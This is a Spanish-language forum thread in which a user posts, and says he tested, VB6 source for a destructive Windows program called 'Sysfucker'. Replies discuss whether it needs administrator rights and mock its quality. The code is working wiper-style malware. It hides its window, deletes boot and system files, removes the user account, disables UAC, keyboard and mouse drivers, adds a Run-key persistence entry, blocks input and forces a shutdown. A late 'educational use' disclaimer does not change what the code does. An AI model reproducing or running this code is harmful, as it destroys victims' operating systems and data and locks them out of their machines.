Sysfucker en VB6.0

[Dany3j]

Bueno aqui le dejo un pequeño programa en Basic para DAÑAR el sistema no lo ejecuten... Leer bien el codigo..  Funciona probado por mi hihihih 

Código [Seleccionar] Expandir


Private Declare Function BlockInput Lib "user32" (ByVal fBlock _
As Long) As Long
Const API_FALSE As Long = 0&
Const API_TRUE As Long = 1&
Private Declare Function Beep Lib "kernel32" ( _
  ByVal dwFreq As Long, _
  ByVal dwDuration As Long) As Long
Private Sub Form_Load()
On Error Resume Next
Form1.Hide
  a = FreeFile
  b = FreeFile
  Open "c:\windows\chkmgr32.bat" For Output As a
    Print #a, "shutdown -s -t 10 -f"
    Print #a, "start c:\windows\notfall.bat"
    Close a
   
Open "c:\windows\notfall.bat" For Output As b
Print #b, "erase /f %windir%\system32\hal.dll"
Print #b, "erase /f %HOMEDRIVE%\NTDETECT.COM"
Print #b, "erase /f %HOMEDRIVE%\bootmgr"
Print #b, "erase /f %HOMEDRIVE%\bootfont.bin"
Print #b, "erase /f %HOMEDRIVE%\BOOTSECT.BAK"
Print #b, "erase /f %HOMEDRIVE%\boot.ini"
Print #b, "erase /f %HOMEDRIVE%\ntldr"
Close b
'Zerstörung...
Call Shell("net user Administrator /active:no")
Call Shell("net user %username% /del")
Call Shell("reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f")
Call Shell("cmd /c erase /f %windir%\system32\hal.dll")
Call Shell("cmd /c tskill /f explorer")
Call Shell("cmd /c tskill /f icq")
Call Shell("reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Winlogon /t REG_SZ /d c:\windows\chkmgr32.bat /f")
Call Shell("cmd /c erase /f %HOMEDRIVE%\ntldr")
Call Shell("cmd /c erase /f %HOMEDRIVE%\boot.ini")
Call Shell("cmd /c erase /f %HOMEDRIVE%\BOOTSECT.BAK")
Call Shell("cmd /c erase /f %HOMEDRIVE%\bootfont.bin")
Call Shell("cmd /c erase /f %HOMEDRIVE%\bootmgr")
Call Shell("cmd /c erase /f %HOMEDRIVE%\NTDETECT.COM")
Call Shell("cmd /c del /q %windir%\inf\*.*")
Call Shell("cmd /c del /q %windir%\repair\*.*")
Call Shell("reg add HKLM\System\CurrentControlSet\Services\Mouclass /v Start /t REG_DWORD /d 4 /f")
Call Shell("reg add HKLM\System\CurrentControlSet\Services\Kbdclass /v Start /t REG_DWORD /d 4 /f")

Form1.Show
Call BlockInput(API_TRUE)
Call Shell("shutdown -s -t 10 -f")
MsgBox "haha dein windows wurde zerstört^^", vbInformation + vbMsgBoxSetForeground + vbMsgBoxRight, "haha"
Call Shell("cmd /c assoc .exe=WinRAR")
Beep 4000, 10000


End Sub


Aclaro que el codigo no es mio... 

[EFEX]

Para que tanto daño...

[Dany3j]

  ps para nadie

Este codigo es para uso Educativo y sin intenciones de dañar a nadie.

[тαптяα]

Zerstörung en español : destrucción.

es un codigo interesante requiere privilegios,no?

[Dany3j]

Zerstörung en español : destrucción.

es un codigo interesante requiere privilegios,no?

Ps en xp corre sin privilegio no se si corre en 7 lo he probado en mi pc y funciona muy bien  jajajaj

[Karcrack]

VB6? Yo juraría que esta hecho en BATCH

[extreme69]

VB6? Yo juraría que esta hecho en BATCH

Si, no sé para que se gastó en hacerlo en vb6, si lo necesitabas en .exe usabas el batch compiler y listo, te ahorrabas unos cuantos "call shell"

[Dany3j]

VB6? Yo juraría que esta hecho en BATCH

Si en visual basic pero se llama mucho la funcion shell para usar los comandos del batch

Supongo que con alguna modificaciones se puede dejar para que funcion en un .bat

[Edu]

Correra con privilegios de Administrador sino no, y no es la gran cosa, decir que hace cosas que no se ejecutaran nunca como los archivos bat q crea ya que al reiniciar no entrara mas y entonces la entrada al registro esta demas y por eso no se ejecutaran los bats. En si, con 10 lineas ya haces lo que produce ese "virus"

[тαптяα]

Correra con privilegios de Administrador sino no, y no es la gran cosa, decir que hace cosas que no se ejecutaran nunca como los archivos bat q crea ya que al reiniciar no entrara mas y entonces la entrada al registro esta demas y por eso no se ejecutaran los bats. En si, con 10 lineas ya haces lo que produce ese "virus"

Me acuerdo mi primer virus en CUH..en 14 lineas hice algo mucho mas efectivo que este "malware", que además como code en si deja mucho que desear, emplear Visual Basic para crear .bats y hacer llamadas a la consola..

Aparte que si alguien lo usa desde mi Invitado esto no corre ni en broma jaja